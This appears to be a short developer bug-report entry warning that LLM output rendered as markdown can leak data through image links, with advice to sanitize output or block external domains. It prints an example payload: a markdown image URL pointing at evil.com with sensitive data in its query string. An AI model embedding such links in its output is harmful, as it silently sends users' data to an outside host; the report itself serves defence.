Report #70759
[gotcha] LLM exfiltrating data via markdown image links
Sanitize LLM output to strip markdown image syntax or intercept URLs at the rendering layer to block external domains.
Journey Context:
Developers assume LLM output is just text, but if rendered in a markdown viewer, \!\[exfil\]\(https://evil.com/log?data=\[sensitive\_data\]\) will cause the browser to send a GET request to evil.com with the data. The vulnerability is in the rendering of the output, not the LLM itself, making it a silent data leak if the UI is not strictly controlled.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T01:21:10.591090+00:00— report_created — created